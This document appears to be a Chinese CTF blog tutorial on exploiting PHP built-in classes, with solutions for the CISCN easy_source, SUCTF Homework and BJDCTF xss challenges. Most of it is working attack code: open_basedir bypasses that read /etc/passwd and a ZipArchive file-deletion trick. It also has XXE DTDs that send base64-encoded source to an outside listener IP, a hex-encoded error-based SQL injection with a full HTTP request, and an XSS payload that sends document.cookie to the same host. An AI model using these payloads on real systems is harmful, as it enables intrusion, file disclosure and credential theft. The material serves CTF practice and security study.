友情提示:本文最后更新于 431 天前,文中的内容可能已有所发展或发生改变。 0x01 前言 在base和其他部分赛题中遇到了几道原生类的利用刚好,我在计划中也有此打算进行学习以及利用,那么就来看看吧
0x02 question 了解原生类 PHP 作为一门广泛应用于 Web 开发的脚本语言,它的目标是帮助开发者快速构建功能丰富的应用程序。因此,它提供了大量的原生类和函数,通过这些类的调用,PHP 开发者可以轻松处理文件、数据库、网络请求、加密等多种任务,极大地提升了开发效率。
所以说其实是有很多原生类的,包括算法\压缩\json\xml\图像等等,很多,大家可以自己去深入研究,这里的话只提及我们平时能够进行利用,达到任意文件读取\ssrf等攻击手段的原生类
原生类的利用 反射 ReflectionMethod 利用版本:(PHP 5, PHP 7)
ReflectionMethod 是 PHP 提供的反射类之一,用于获取类中某个具体方法的详细信息。
常见方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 反射调用方法
( new ReflectionMethod ( "class?" , "method?" )) -> invoke ( new [ class ? ] / NULL ( 静态类 ), args1 , args2 );
( new ReflectionMethod ( "class?" , "method?" )) -> invokeArgs ( new [ class ? ] / NULL ( 静态类 ,[ args1 , args2 ]));
# 设置私有/受保护方法
$f = new ReflectionMethod ( "class?" , "method?" );
$f -> setAccessible ( true );
$f -> invoke ( new [ class ? ]);
( new [ class ? ]) -> [ method ? ](); // 会报错
# 获取函数信息
( new ReflectionMethod ( "class?" , "method?" )) -> getDeclaringClass () // 获取反射方法的类作为反射类返回
( new ReflectionMethod ( "class?" , "method?" )) -> isAbstract () // 方法是否是抽象方法
( new ReflectionMethod ( "class?" , "method?" )) -> isConstructor () // 方法是否是 __construct
( new ReflectionMethod ( "class?" , "method?" )) -> isDestructor () // 方法是否是 __destruct
( new ReflectionMethod ( "class?" , "method?" )) -> isFinal () // 方法是否定义了final
( new ReflectionMethod ( "class?" , "method?" )) -> isPrivate () // 方法是否是私有方法
( new ReflectionMethod ( "class?" , "method?" )) -> isProtected () // 方法是否是受保护方法
( new ReflectionMethod ( "class?" , "method?" )) -> isPublic () // 方法是否是公有方法
( new ReflectionMethod ( "class?" , "method?" )) -> isStatic () // 方法是否是静态方法
( new ReflectionMethod ( "class?" , "method?" )) -> getDocComment () // 获取方法注释内容
( new ReflectionMethod ( "class?" , "method?" )) -> getStartLine () // 获取方法开始行号
( new ReflectionMethod ( "class?" , "method?" )) -> getEndLine () // 获取方法结束行号
( new ReflectionMethod ( "class?" , "method?" )) -> getExtensionName () // 获取扩展名称
( new ReflectionMethod ( "class?" , "method?" )) -> getName () // 获取方法名称
( new ReflectionMethod ( "class?" , "method?" )) -> getNamespaceName () // 获取命名空间名称
( new ReflectionMethod ( "class?" , "method?" )) -> getNumberOfParameters () // 获取方法参数数量
( new ReflectionMethod ( "class?" , "method?" )) -> getNumberOfRequiredParameters () // 获取方法必须传入的参数数量
( new ReflectionMethod ( "class?" , "method?" )) -> getParameters () // 获取方法参数名
( new ReflectionMethod ( "class?" , "method?" )) -> getShortName () // 获取方法短名
( new ReflectionMethod ( "class?" , "method?" )) -> getStaticVariables () // 获取方法静态变量
( new ReflectionMethod ( "class?" , "method?" )) -> hasReturnType () // 方法是否有特定返回类型
( new ReflectionMethod ( "class?" , "method?" )) -> inNamespace () // 方法是否定义在命名空间
( new ReflectionMethod ( "class?" , "method?" )) -> isClosure () // 方法是否是匿名函数
( new ReflectionMethod ( "class?" , "method?" )) -> isDeprecated () // 方法是否弃用
( new ReflectionMethod ( "class?" , "method?" )) -> isGenerator () // 方法是否是生成器函数
( new ReflectionMethod ( "class?" , "method?" )) -> isInternal () // 方法是否是内部函数
( new ReflectionMethod ( "class?" , "method?" )) -> isUserDefined () // 方法是否是用户定义
[2021 CISCN]easy_source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<? php
show_source ( __FILE__ );
class User
{
private static $c = 0 ;
function a ()
{
return ++ self :: $c ;
}
function b ()
{
return ++ self :: $c ;
}
function c ()
{
return ++ self :: $c ;
}
function d ()
{
return ++ self :: $c ;
}
function e ()
{
return ++ self :: $c ;
}
function f ()
{
return ++ self :: $c ;
}
function g ()
{
return ++ self :: $c ;
}
function h ()
{
return ++ self :: $c ;
}
function i ()
{
return ++ self :: $c ;
}
function j ()
{
return ++ self :: $c ;
}
function k ()
{
return ++ self :: $c ;
}
function l ()
{
return ++ self :: $c ;
}
function m ()
{
return ++ self :: $c ;
}
function n ()
{
return ++ self :: $c ;
}
function o ()
{
return ++ self :: $c ;
}
function p ()
{
return ++ self :: $c ;
}
function q ()
{
return ++ self :: $c ;
}
function r ()
{
return ++ self :: $c ;
}
function s ()
{
return ++ self :: $c ;
}
function t ()
{
return ++ self :: $c ;
}
}
$rc = $_GET [ "rc" ];
$rb = $_GET [ "rb" ];
$ra = $_GET [ "ra" ];
$rd = $_GET [ "rd" ];
$method = new $rc ( $ra , $rb );
var_dump ( $method -> $rd ());
先扫描出这个关键文件之后,可以看到什么都没有,很明显是原生类的利用
这个是进行User类方法的调用,因为$c是一个静态属性嘛,每次触发一个方法就++,最后是可以把所有方法遍历的,那么我们可以大胆猜测flag在注释中,利用ReflectionMethod类,最后找到是在q里面
1
?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
这么传刚好也就形成了我们说的那个
1
var_dump ( new ReflectionMethod ( "User" , "q" )) -> getDocComment
成功读取到了flag
ReflectionClass 利用版本:(PHP 5, PHP 7)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# 获取/修改类中静态属性的值
( new ReflectionClass ( "class?" )) -> getStaticProperties (); # 获取静态属性
( new ReflectionClass ( "class?" )) -> getStaticPropertyValue ( "key?" , "default_value?" ); # 获取指定静态属性的值,可以手动设置默认值
( new ReflectionClass ( "class?" )) -> setStaticPropertyValue ( "key?" , "value?" ); # 设置静态属性的值
# 获取类中属性的值
( new ReflectionClass ( "class?" )) -> getProperties (); # 获取属性
( new ReflectionClass ( "class?" )) -> getProperty ( "key?" ) # 获取指定属性的值
# 实例化新类,
# 比如反射 phpinfo 函数
$c = new ReflectionClass ( 'ReflectionFunction' );
$iv = $c -> newInstance ( 'phpinfo' );
$ia = $c -> newInstanceArgs ( array ( 'phpinfo' ));
$ie = $c -> newInstanceWithoutConstructor (); // 调用一个类但不调用其 __construct 方法
# 获取类信息
( new ReflectionClass ( "class?" )) -> export (); // 导出类
( new ReflectionClass ( "class?" )) -> getConstant ( string $name ) // 获取类中指定常量值
( new ReflectionClass ( "class?" )) -> getConstants ( ? int $filter = null ) // 获取类中所有常量值
( new ReflectionClass ( "class?" )) -> getConstructor () // 获取类中构造方法(__construct)作为反射方法返回
( new ReflectionClass ( "class?" )) -> getDefaultProperties () // 获取类中默认属性
( new ReflectionClass ( "class?" )) -> getDocComment () // 获取类的注释
( new ReflectionClass ( "class?" )) -> getStartLine () // 获取类开始行号
( new ReflectionClass ( "class?" )) -> getEndLine () // 获取类结束行号
( new ReflectionClass ( "class?" )) -> getExtensionName () // 获取类的扩展名称
( new ReflectionClass ( "class?" )) -> getFileName () // 获取类所在的文件名
( new ReflectionClass ( "class?" )) -> getInterfaceNames () // 获取类的接口名称
( new ReflectionClass ( "class?" )) -> getInterfaces () // 获取类的接口
( new ReflectionClass ( "class?" )) -> getMethod ( string $name ) // 获取类的指定方法作为反射方法返回
( new ReflectionClass ( "class?" )) -> getMethods () // 获取类的方法
( new ReflectionClass ( "class?" )) -> getModifiers () // 获取类的修饰符
( new ReflectionClass ( "class?" )) -> getName () // 获取类名称
( new ReflectionClass ( "class?" )) -> getNamespaceName () // 获取类所在命名空间名称
( new ReflectionClass ( "class?" )) -> getParentClass () // 获取父类作为反射类返回
( new ReflectionClass ( "class?" )) -> getReflectionConstant () // 获取类的指定常量作为反射类常量返回
( new ReflectionClass ( "class?" )) -> getReflectionConstants () // 获取类的常量作为反射类常量数组返回
( new ReflectionClass ( "class?" )) -> getShortName () // 获取类的短名
( new ReflectionClass ( "class?" )) -> getTraitAliases () // 获取类所使用 trait 别名的数组
( new ReflectionClass ( "class?" )) -> getTraitNames () // 获取类所使用 traits 名称的数组
( new ReflectionClass ( "class?" )) -> getTraits () // 获取类所使用的 traits
( new ReflectionClass ( "class?" )) -> hasConstant ( string $name ) // 类是否有指定的常量
( new ReflectionClass ( "class?" )) -> hasMethod ( string $name ) // 类是否有指定的方法
( new ReflectionClass ( "class?" )) -> implementsInterface ( string $interface ) // 类是否实现指定的接口
( new ReflectionClass ( "class?" )) -> inNamespace () // 类是否在命名空间中
( new ReflectionClass ( "class?" )) -> isAbstract () // 类是否是抽象类
( new ReflectionClass ( "class?" )) -> isAnonymous () // 类是否是匿名类
( new ReflectionClass ( "class?" )) -> isCloneable () // 类是否是可复制的
( new ReflectionClass ( "class?" )) -> isFinal () // 类是否声明为 final
( new ReflectionClass ( "class?" )) -> isInternal () // 类是否是内部的
( new ReflectionClass ( "class?" )) -> isIterable () // 类是否是一个迭代类
( new ReflectionClass ( "class?" )) -> isIterateable () // 类是否是可迭代的
( new ReflectionClass ( "class?" )) -> isSubclassOf ( string $class ) // 类是否是指定类的子类
( new ReflectionClass ( "class?" )) -> isTrait () // 类是否是 trait
( new ReflectionClass ( "class?" )) -> isUserDefined () // 类是否是用户定义的
ReflectionFunctionAbstract 这个是ReflectionFunction 和 ReflectionMethod 的父类,所以想着看看有什么方法,但是没想到这个反射类基本方法都是差不多甚至是一模一样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 获取函数/方法的参数信息
( new ReflectionFunctionAbstract ( "function?" )) -> getParameters (); // 获取参数列表
# 获取函数/方法的返回类型
( new ReflectionFunctionAbstract ( "function?" )) -> getReturnType (); // 获取返回类型
# 获取函数/方法的开始和结束行号
( new ReflectionFunctionAbstract ( "function?" )) -> getStartLine (); // 获取开始行号
( new ReflectionFunctionAbstract ( "function?" )) -> getEndLine (); // 获取结束行号
# 获取函数/方法的文档注释
( new ReflectionFunctionAbstract ( "function?" )) -> getDocComment (); // 获取文档注释
# 获取函数/方法的静态变量
( new ReflectionFunctionAbstract ( "function?" )) -> getStaticVariables (); // 获取静态变量
# 调用函数/方法
( new ReflectionFunctionAbstract ( "function?" )) -> invoke ( $arg1 , $arg2 ); // 直接调用函数/方法
( new ReflectionFunctionAbstract ( "function?" )) -> invokeArgs ( array $args ); // 使用数组调用函数/方法
# 判断函数/方法是否返回引用
( new ReflectionFunctionAbstract ( "function?" )) -> returnsReference (); // 是否返回引用
# 检查函数/方法是否是闭包
( new ReflectionFunctionAbstract ( "function?" )) -> isClosure (); // 是否为闭包
# 检查函数/方法是否为生成器
( new ReflectionFunctionAbstract ( "function?" )) -> isGenerator (); // 是否为生成器
# 检查函数/方法是否是内部函数/方法
( new ReflectionFunctionAbstract ( "function?" )) -> isInternal (); // 是否为内部函数
# 检查函数/方法是否为用户定义的
( new ReflectionFunctionAbstract ( "function?" )) -> isUserDefined (); // 是否为用户定义的
# 获取函数/方法名称
( new ReflectionFunctionAbstract ( "function?" )) -> getName (); // 获取函数/方法名称
# 导出函数/方法信息
( new ReflectionFunctionAbstract ( "function?" )) -> export ( 'function?' , true ); // 导出函数/方法信息
文件处理 ZipArchive 这个单独列出来是因为既可以目录又可以文件,直接给poc了
删除文件 1
2
$a = new ZipArchive ();
$a -> open ( "file" , ZipArchive :: OVERWRITE ); // ZipArchive::CREATE也可以用8代替
注意这里的file是填写zip文件路径
读取文件 1
2
3
4
5
6
7
8
$f = "flag" ;
$zip = new ZipArchive ();
$zip -> open ( "a.zip" , ZipArchive :: CREATE );
$zip -> addFile ( $f );
$zip -> close ();
$zip -> open ( "a.zip" );
echo $zip -> getFromName ( $f );
$zip -> close ();
有损写文件 用处不大
1
2
3
4
5
6
7
$f = "flag" ;
$zip = new ZipArchive ();
$zip -> open ( "a.zip" , ZipArchive :: CREATE );
$zip -> setArchiveComment ( "<?php phpinfo();?>" );
$zip -> addFromString ( "file" , "" );
$zip -> close ();
//include "a.zip";
目录 DirectoryIterator 利用版本PHP5, PHP7, PHP8
我们可以利用这个类来遍历或者是使用glob,直接寻找想要的文件
查找f开头的文件
1
2
3
4
<? php
$dir = new DirectoryIterator ( "glob:///f*" );
echo $dir ;
遍历根目录的文件名
1
2
3
4
5
6
<? php
$dir = new DirectoryIterator ( "/" );
foreach ( $dir as $a ){
echo $a . '<br>' ;
}
当然这仅仅只是Demo深入其中我们查询官方文档,可以看到其中也是有很多方法,但是我们注重看我们使用的这个
也就是说其实我们是调用了其中的__toString(),所以正经的写法是这样子
1
2
3
4
5
6
<? php
$dir = new DirectoryIterator ( "/" );
foreach ( $dir as $a ){
echo $a -> __toString () . '<br>' ;
}
但是我们不写的话由于echo和var_dump也会自动调用这个方法
payload
1
$d=new DirectoryIterator("/");foreach($d as $a){echo $a.'<br>';}
Filesystemlterator 利用版本,PHP 5 >= 5.3.0, PHP 7, PHP 8
这个类和DirectoryIterator 是孪生兄弟,一样的不写了就
1
$d=new FilesystemIterator("/");foreach($d as $a){echo $a.'<br>';}
GlobIterator 继承于DirectoryIterator 而且自带了glob,一测便知
利用版本,PHP 5 >= 5.3.0, PHP 7, PHP 8
1
2
3
4
5
6
<? php
$dir = new GlobIterator ( "/*" );
foreach ( $dir as $a ){
echo $a -> __toString () . '<br>' ;
}
遍历根目录的文件
payload
1
$d=new GlobIterator("/*");foreach($d as $a){echo $a.'<br>';}
文件内容 SplFileObject 1
2
3
4
5
<? php
$content = new SplFileObject ( '/flag' );
foreach ( $content as $content ){
echo $content . "<br>" ;
}
相当于是file_get_contents(),但是这个是类同样是使用__toString方法进行读取的
绕过open_basedir open_basedir 是 PHP 中的一项安全配置,用于限制脚本访问的文件系统路径。它可以防止 PHP 脚本访问不允许的目录,从而增强服务器的安全性。但是其实是有方法可以绕过进行任意文件目录\文件读取
DirectoryIterator+glob 然后我们写个demo(P牛的代码)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<? php
printf ( '<b>open_basedir : %s </b><br />' , ini_get ( 'open_basedir' ));
$file_list = array ();
// normal files
$it = new DirectoryIterator ( "glob:///*" );
foreach ( $it as $f ) {
$file_list [] = $f -> __toString ();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator ( "glob:///.*" );
foreach ( $it as $f ) {
$file_list [] = $f -> __toString ();
}
sort ( $file_list );
foreach ( $file_list as $f ){
echo " { $f } <br/>" ;
}
?>
但是这个好像对版本有要求,我现在如果在ini中设置了open_basedir是不能通了(7.3.4)
realpath Realpath函数是php中将一个路径规范化成为绝对路径的方法,它可以去掉多余的../或./等跳转字符,能将相对路径转换成绝对路径。
在开启了open_basedir以后,这个函数有个特点:当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。
根据抛出的错误做一个分流就可以暴力猜解文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<? php
ini_set ( 'open_basedir' , dirname ( __FILE__ ));
printf ( "<b>open_basedir: %s</b><br />" , ini_get ( 'open_basedir' ));
set_error_handler ( 'isexists' );
$dir = 'd:/blog/' ;
$file = '' ;
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' ;
for ( $i = 0 ; $i < strlen ( $chars ); $i ++ ) {
$file = $dir . $chars [ $i ] . '<><' ;
realpath ( $file );
}
function isexists ( $errno , $errstr )
{
$regexp = '/File\((.*)\) is not within/' ;
preg_match ( $regexp , $errstr , $matches );
if ( isset ( $matches [ 1 ])) {
printf ( "%s <br/>" , $matches [ 1 ]);
}
}
?>
主要看看函数这里
1
2
$regexp = '/File\((.*)\) is not within/' ;
preg_match ( $regexp , $errstr , $matches );
首先就是利用正则来匹配文件,如果匹配到了错误,那么$mathes就会得到值,
而其内部其实是这样
1
2
3
4
$matches = [
0 => 'File(C:\Windows\System32\drivers\etc\hosts) is not within',
1 => 'C:\Windows\System32\drivers\etc\hosts'
];
所以就能得到文件路径(本地是通了的这个)
其中还有很多类似的通过暴力破解的方法,详情可以看p牛的博客
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html
类似的有bindtextdomain(),SplFileInfo::getRealPath(),imageftbbox()还是挺多的
ini_set() + 相对路径 由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层
以此类推就可以达到理想路径进行文件读取了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<? php
show_source ( __FILE__ );
ini_get ( 'open_basedir' );
mkdir ( 'test' );
chdir ( 'test' );
ini_set ( 'open_basedir' , '..' );
chdir ( '..' );
chdir ( '..' );
chdir ( '..' );
ini_set ( 'open_basedir' , '/' );
echo file_get_contents ( '/etc/passwd' );
?>
shell 1
2
3
4
5
<? php
show_source ( __FILE__ );
ini_get ( 'open_basedir' );
system ( 'cat /etc/passwd' );
?>
这样的payload可以直接打,无限制
symlink() 进行文件常见符号链接,软链接知道吧,差不多是这个意思,取个别名
1
bool symlink ( string $target , string $link )
$target :指向的目标文件或目录的路径,即符号链接指向的实际文件或目录。$link :符号链接的路径名称,即创建的符号链接的名称。1
symlink ( '/var/www/html' , './bao' );
这个时候访问bao就相当于访问/var/www/html
那么可以利用的poc,也就是通过路径的伪装来绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<? php
mkdir ( "A" );
chdir ( "A" );
mkdir ( "B" );
chdir ( "B" );
mkdir ( "C" );
chdir ( "C" );
mkdir ( "D" );
chdir ( "D" );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
symlink ( "A/B/C/D" , "bao" );
symlink ( "bao/../../../../etc/passwd" , "POC" );
unlink ( "bao" );
mkdir ( "bao" );
system ( "cat POC" );
?>
那么这个poc就可以读取文件/etc/passwd,为什么是四层呢,因为本身我们在的目录是
/var/www/html,所以至少是四层,但是会有个疑问对吧,不是说好的bao相当于是A/B/C/D嘛,这四层也仅仅只能回退到/var/www/html里面啊
1
2
3
4
root@dkcjbRCL8kgaNGz:/var/www/html# ls
7.php A POC bao index.nginx-debian.html test.dtd
root@dkcjbRCL8kgaNGz:/var/www/html# cd bao/../../../../etc
root@dkcjbRCL8kgaNGz:/etc#
这个弄了半天好似理解了,就相当于是在相对路径里面夹杂了绝对路径,所以测试的时候也是成功了
xxe SimpleXMLElement 可以利用这个原生类进行xxe攻击
1
$x = new SimpleXMLElement ( "http://xxx.xxx.xxx.xxx/evil.xml" , 2 , true );
当确定为true时,会当成xml文档解析,这不就典型xxe了嘛,所以只要xxe,能打的都能打
demo [SUCTF 2018]Homework
注册账号登录之后得到源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<? php
class calc {
function __construct__ (){
calc ();
}
function calc ( $args1 , $method , $args2 ){
$args1 = intval ( $args1 );
$args2 = intval ( $args2 );
switch ( $method ) {
case 'a' :
$method = "+" ;
break ;
case 'b' :
$method = "-" ;
break ;
case 'c' :
$method = "*" ;
break ;
case 'd' :
$method = "/" ;
break ;
default :
die ( "invalid input" );
}
$Expression = $args1 . $method . $args2 ;
eval ( " \$ r= $Expression ;" );
die ( "Calculation results:" . $r );
}
}
?>
再度进入页面之后知道
1
/show.php?module=calc&args[]=2&args[]=a&args[]=2
module是调用的类,那么我们构造payload
1
/show.php?module=SimpleXMLElement&args[]=http://27.25.151.48:12138/poc.xml&args[]=2&args[]=true
poc.xml
1
2
3
4
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://27.25.151.48:12138/poc.dtd">
%int;
]>
poc.dtd
1
2
3
4
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://27.25.151.48:9999/?%payl;'> ">
%all;
%send;
然后监听得到源码
1
2
3
4
5
6
7
8
9
10
11
12
<? php
include ( "function.php" );
include ( "config.php" );
$username = w_addslashes ( $_COOKIE [ 'user' ]);
$check_code = $_COOKIE [ 'cookie-check' ];
$check_sql = "select password from user where username='" . $username . "'" ;
$check_sum = md5 ( $username . sql_result ( $check_sql , $mysql )[ '0' ][ '0' ]);
if ( $check_sum !== $check_code ){
header ( "Location: login.php" );
}
?>
把dtd改改然后接着读就可以了
function.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<? php
function sql_result ( $sql , $mysql ){
if ( $result = mysqli_query ( $mysql , $sql )){
$result_array = mysqli_fetch_all ( $result );
return $result_array ;
} else {
echo mysqli_error ( $mysql );
return "Failed" ;
}
}
function upload_file ( $mysql ){
if ( $_FILES ){
if ( $_FILES [ 'file' ][ 'size' ] > 2 * 1024 * 1024 ){
die ( "File is larger than 2M, forbidden upload" );
}
if ( is_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ])){
if ( ! sql_result ( "select * from file where filename='" . w_addslashes ( $_FILES [ 'file' ][ 'name' ]) . "'" , $mysql )){
$filehash = md5 ( mt_rand ());
if ( sql_result ( "insert into file(filename,filehash,sig) values('" . w_addslashes ( $_FILES [ 'file' ][ 'name' ]) . "','" . $filehash . "'," . ( strrpos ( w_addslashes ( $_POST [ 'sig' ]), ")" ) ? "" : w_addslashes ( $_POST [ 'sig' ])) . ")" , $mysql ) == "Failed" ) die ( "Upload failed" );
$new_filename = "./upload/" . $filehash . ".txt" ;
move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $new_filename ) or die ( "Upload failed" );
die ( "Your file " . w_addslashes ( $_FILES [ 'file' ][ 'name' ]) . " upload successful." );
} else {
$hash = sql_result ( "select filehash from file where filename='" . w_addslashes ( $_FILES [ 'file' ][ 'name' ]) . "'" , $mysql ) or die ( "Upload failed" );
$new_filename = "./upload/" . $hash [ 0 ][ 0 ] . ".txt" ;
move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $new_filename ) or die ( "Upload failed" );
die ( "Your file " . w_addslashes ( $_FILES [ 'file' ][ 'name' ]) . " upload successful." );
}
} else {
die ( "Not upload file" );
}
}
}
function w_addslashes ( $string ){
return addslashes ( trim ( $string ));
}
function do_api ( $module , $args ){
$class = new ReflectionClass ( $module );
$a = $class -> newInstanceArgs ( $args );
}
?>
config.php
1
2
3
4
5
6
7
8
<? php
$db = "calc" ;
$dbusername = "suctf" ;
$dbpassword = "suctf" ;
$host = "127.0.0.1" ;
$mysql = mysqli_connect ( $host , $dbusername , $dbpassword , $db ) or die ( "connect failed" );
?>
可以看到是个SQL注入
show.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<? php
include ( "function.php" );
include ( "config.php" );
include ( "calc.php" );
if ( isset ( $_GET [ 'action' ]) && $_GET [ 'action' ] == "view" ){
if ( $_SERVER [ "REMOTE_ADDR" ] !== "127.0.0.1" ) die ( "Forbidden." );
if ( ! empty ( $_GET [ 'filename' ])){
$file_info = sql_result ( "select * from file where filename='" . w_addslashes ( $_GET [ 'filename' ]) . "'" , $mysql );
$file_name = $file_info [ '0' ][ '2' ];
echo ( "file code: " . file_get_contents ( "./upload/" . $file_name . ".txt" ));
$new_sig = mt_rand ();
sql_result ( "update file set sig='" . intval ( $new_sig ) . "' where id=" . $file_info [ '0' ][ '0' ] . " and sig='" . $file_info [ '0' ][ '3' ] . "'" , $mysql );
die ( "<br>new sig:" . $new_sig );
} else {
die ( "Null filename" );
}
}
$username = w_addslashes ( $_COOKIE [ 'user' ]);
$check_code = $_COOKIE [ 'cookie-check' ];
$check_sql = "select password from user where username='" . $username . "'" ;
$check_sum = md5 ( $username . sql_result ( $check_sql , $mysql )[ '0' ][ '0' ]);
if ( $check_sum !== $check_code ){
header ( "Location: login.php" );
}
$module = $_GET [ 'module' ];
$args = $_GET [ 'args' ];
do_api ( $module , $args );
?>
他这里有个转义函数,所以我们用16进制绕过
1
2
3
'||extractvalue(1,concat(0x7e,(select (flag) from flag),0x7e))||'
0 x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c6563742028666c6167292066726f6d20666c6167292c3078376529297c7c27
这里注意了注入参数是sig,所以我试了好久,原因
1
sql_result ( "update file set sig='" . intval ( $new_sig ) . "' where id=" . $file_info [ '0' ][ '0' ] . " and sig='" . $file_info [ '0' ][ '3' ] . "'" , $mysql );
最先我看到了filename也有然后就一直打,后来发现filename的结果不返回啊
然后修改
1
2
3
4
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=6.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://27.25.151.48:9999/?%payl;'> ">
%all;
%send;
1
/show.php?module=SimpleXMLElement&args[]=http://27.25.151.48:12138/poc.xml&args[]=2&args[]=true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /submit.php HTTP/1.1
Host: cfc14c63-0d85-4cb5-b597-f99c05249821.node5.buuoj.cn:81
Content-Length: 404
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://cfc14c63-0d85-4cb5-b597-f99c05249821.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary50xpARCP4aIhe1PB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cfc14c63-0d85-4cb5-b597-f99c05249821.node5.buuoj.cn:81/submit.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: cookie-check=6a9d3dc94565cd88dc0f0ec6f6538c6a; user=bao
Connection: close
------WebKitFormBoundary50xpARCP4aIhe1PB
Content-Disposition: form-data; name="file"; filename="9.txt"
Content-Type: text/plain
123
------WebKitFormBoundary50xpARCP4aIhe1PB
Content-Disposition: form-data; name="sig"
0x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c6563742028666c6167292066726f6d20666c6167292c3078376529297c7c27
------WebKitFormBoundary50xpARCP4aIhe1PB--
说实话这个demo给我自己都折磨了一会,网上的垃圾工具,字符串转16进制给我空格吞了,导致一直不成功,报错注入应该会吧,
1
2
3
'||extractvalue(1,concat(0x7e,(select right(flag,20) from flag),0x7e))||'
0 x277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c65637420726967687428666c61672c3230292066726f6d20666c6167292c3078376529297c7c27
1
2
3
4
5
file code: 123XPATH syntax error: '~flag{ddc9686e-d0c0-489e-99f3-23'<br>new sig:2013105070
file code: 123XPATH syntax error: '~e-99f3-23eb9ad18c97}~'<br>new sig:1181727055
flag{36b20a1e-3b1e-4c56-89e9-6677da259211}
中途出现了一点其他的知识但是最重要的漏洞就是这个xxe类的使用
xxs Error/Exception Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。并且是开启报错的情况
这两个内置类都差不多,所以干脆放一起
这两个类的属性
message:错误消息内容 code:错误代码 file:抛出错误的文件名 line:抛出错误在该文件中的行数 先随便写个demo
1
2
3
4
<? php
show_source ( __FILE__ );
$a = unserialize ( $_GET [ 'a' ]);
echo $a ;
然后写个poc,只要是xss的payload都可以通过这两个类进行实现
1
2
3
<? php
$a = new Error ( "<script>alert('xss')</script>" );
echo urlencode ( serialize ( $a ));
或者是另一个
1
2
3
<? php
$a = new Exception ( "<script>alert('xss')</script>" );
echo urlencode ( serialize ( $a ));
只要是xss能做的都能做,看看是这两个类中的什么方法导致的呢,众所周知echo是来触发__toString()的但是我们进入方法看看
1
2
3
4
5
6
7
8
9
10
11
zend_string * message = zval_get_string ( GET_PROPERTY ( exception , ZEND_STR_MESSAGE ));
//这里捕捉message属性
if (( Z_OBJCE_P ( exception ) == zend_ce_type_error || Z_OBJCE_P ( exception ) == zend_ce_argument_count_error ) && strstr ( ZSTR_VAL ( message ), ", called in " )) {
zend_string * real_message = zend_strpprintf_unchecked ( 0 , "%S and defined" , message );
zend_string_release_ex ( message , 0 );
message = real_message ;
}
// 这里进行错误捕捉
RETURN_STR ( str );
这里再放回
所以成功的插入恶意的xss代码
demo [BJDCTF 2nd]xss之光
扫描一下找到git
恢复一下
1
python GitHack.py http://7e43e9af-3b17-47b3-9532-11cfbaef99d7.node5.buuoj.cn:81/.git/
1
2
3
<? php
$a = $_GET [ 'yds_is_so_beautiful' ];
echo unserialize ( $a );
那么回去找网站,找不到什么东西,先尝试打cookie
1
2
3
<? php
$a = new Exception ( "<script>window.open('http://27.25.151.48:9999/'+document.cookie)</script>" );
echo urlencode ( serialize ( $a ));
1
